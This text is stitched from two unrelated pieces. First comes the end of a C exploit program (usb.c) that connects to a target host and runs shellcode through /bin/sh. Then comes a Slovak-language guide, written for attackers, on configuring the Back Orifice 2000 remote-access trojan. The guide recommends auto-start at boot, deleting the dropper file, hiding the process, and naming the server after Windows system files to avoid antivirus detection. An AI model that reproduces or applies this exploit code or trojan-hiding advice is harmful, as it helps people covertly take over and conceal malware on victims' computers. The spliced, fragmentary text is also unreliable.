  sck = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  if (sck < 0) {
    printf("Error: Can't open socket.n");
    exit(1);
  }
  if (connect(sck, (struct sockaddr *)&sin;, sizeof(sin)) < 0) {
    printf("Error: Connection refused.n");
  }
  printf("Status: Connecting to %s.n", argv[1]);
  printf("Press any key to send shellcode or ctrl-c to abort.n");
  if (fork() == 0)
  execl("/bin/sh", "sh", "-c", shellcode, 0);while(1);
}
<-- cut usb.c ------------------------------------------------------------------

salo

bo2k je schopny ovladat vzdialeny pocitac prostrednictvom tcp/ip protokolu ako v lan, tak aj wan. sklada sa z dvoch zakladnych casti, ktorymi su: server a ovladacia konzola (plne graficka). server ako taky ma len nepatrnu kapacitu (124 kb, v pripade pridania vsetkych nizsie uvedenych doplnkov sa zvacsi na 485 kb) a prestavuje bezny exe subor, ktory je potrebne implementovat do operacneho systemu pocitaca, ktory bude dialkovo ovladany. implicitnou vyhodou tejto casti bo2k je moznost modifikovat ju a doplnat o rozsirujuce plug-in moduly, ktore zlepsuju jej moznosti a schopnosti. druha cast, t.j. ovladacia konzola (ma kapacitu priblizne 581 kb) umoznuje utocnikovi ovladat vzdialeny pocitac a dodatocne modifikovat serverovu cast. poslednou sucastou, ktora je potrebna pre pociatocnu modifikaciu bo2k servera je tzv. konfiguracny program (s kapacitou necelych 220 kb).

skor ako sa dostanem k opisaniu nastaveni a parametrov v ramci spomenutych casti bo2k, zhrniem do niekolkych bodov zakladne operacie, ktore je mozne prostrednictvom neho vykonavat so vzdialenym systemom:

rozsirene moznosti vyzaduju implementovanie niektorych plug-in modulov:

uvedene plug-in moduly patria k najrozsirenejsim a najpouzivanejsim na slovenskom internete (vsetky pouziva aj moja verzia bo2k server). okrem spominanych plug-in modulov existuje aj niekolko dalsich, ktore maju hlavne uplatnenie pri zvysovani kodovania prenasaneho signalu pocitacovou sietou, napriklad: blowfish, cast-256, bo2des encryption a silk rope 2k, ktory sluzi pre implementaciu serverovej casti bo2k do lubovolnej spustitelnej aplikacie. jeho ovladanie je spracovane pomocou wizardu.

v blizkej buducnosti by sa mali na internete objavit este dva plug-in moduly s oznaceniami: bopeep plus (rozsirene moznosti vyssie menovaneho modulu) a boscript (vyuzitie script jazyka pre modifikaciu a rozsirene ovladanie serverovej casti). tolko k zakladnej charakteristike back orifice 2000.

v nasledujucej casti sa blizsie pozrieme na proces konfiguracie a ovladania vzdialeneho pocitaca.

konfiguracia bo2k

konfiguraciu servera bo2k mozno oznacit za jednu z najdolezitejsich a najtazsich cinnosti s tymto programom. treba si uvedomit, ze chybna konfiguracia moze mat za nasledok uplne zlyhanie servera v ostrej prevadzke alebo neschopnost niektorych jeho modulov vykonavat pouzivatelom (utocnikom) definovane cinnosti. co treba urobit ako prve? po spusteni konfiguracneho programu (bo2kcfg.exe) sa zobrazi uvodna obrazovka wizardu, ktory umoznuje zjednodusene nakonfigurovanie servera. osobne pokladam tento wizard a modifikaciu prostrednictvom neho za nie najstastnejsie riesenie a preto odporucam zrusit zaskrtnutie v jeho dolnej casti (show this wizard on startup). po stlaceni tlacidla next sa zobrazi hlavne konfiguracne okno umoznujuce maximalnu a detailnu konfiguraciu.

v prvom rade je potrebne pomocou tlacidla open server inicializovat subor bo2k.exe (serverova cast), do ktoreho sa vysledne nastavenia ulozia. nasledne dojde k zobrazeniu zakladnych prvkov v ramci servera, ako su nastavenia portov, protokolov, kodovania a plug-in modulov. v strednej casti okna sa zobrazi zoznam integrovanych plug-in modulov do servera, pricom pouzivatel ma moznost pridavat dalsie alebo odoberat uz existujuce moduly. v dolnej casti sa nachadzaju najdolezitejsie udaje, prostrednictvom ktorych sa uskutocnuje spresnenie konfiguracie.

nakolko tento text ma sluzit ako recenzia nebudem popisovat jednotlive nastavenia detailne, ale zameriam sa len na tie najdolezitejsie (v zavere je uvedena emailova adresa, na ktoru mozete posielat svoje otazky ohladne tejto problematiky). pre tuto prilezitost som sa rozhodol pouzit standardnu verziu bo2k (t.j. 1.1), do ktorej som implementoval nasledujuce plug-in moduly: bo2k system tools (bo_tool.dll), bo2k remote console manager (bo_peep.dll), butt trumpet 2000 (bt2k.dll), bored dumb terminal plugin (bored.dll), rattler (srv_rattler.dll), bo2k stealthy tcp io module (io_stcpio.dll) a bo2k serpent strong encryption module (enc_serpent.dll). na verziach jednotlivych modulov v tomto pripade nezalezi, nakolko uz viac ako styri mesiace nebola vydana ziadna ich aktualizacia. nastavenia je potrebne vykonat nasledovnym sposobom:

option variables:

• run at startup – spustanie bo2k servera hned pri starte systemu. jeho aktivaciu zabezpeci zmena v systemovom registri
• delete original file – ak je hodnota nastavena na enable system zabezpeci, aby sa po aktivacii bo2k (pri prvom spusteni) vymazal jeho zdrojovy subor (t.j. ten, ktorym sa dostal do vzdialeneho pocitaca)
• insidious mode – pre pokoj duse a eliminovanie problemov pri behu servera pod operacnym systemom windows 9x/nt je vhodne nastavit hodnotu disable. vo vseobecnosti sa jedna o tzv. uskocny mod, kedy sa bo2k snazi maskovat existenciu servera pred rezidentnymi programami (napr. antivirusovymi monitormi)
• runtime pathname – umoznuje nastavit nazov suboru, v ktorom sa bude serverova cast bo2k skryvat vo vzdialenom pocitaci. prednastavenym nazvom je umgr32.exe. odporucam tento nazov zmenit tak, aby sa co naviac podobal na niektory zo suborov v adresari windowssystem alebo winntsystem32 (najidealnejsie je vyuzit nazvy zacinajuce pismenom w)
• hide process – na zaklade hodnoty, ktora je v nom definovana sa bo2k server tvari bud ako skryta aplikacia alebo ako viditelna aplikacia, ktoru je mozne odstranit zo zoznamu aktivnych procesov
• host process name(nt)/service name(nt) – vyuzitelne len pri windows nt, kde sa definuju nazvy, pod ktorymi bude bo2k vystupovat v zozname beziacich procesov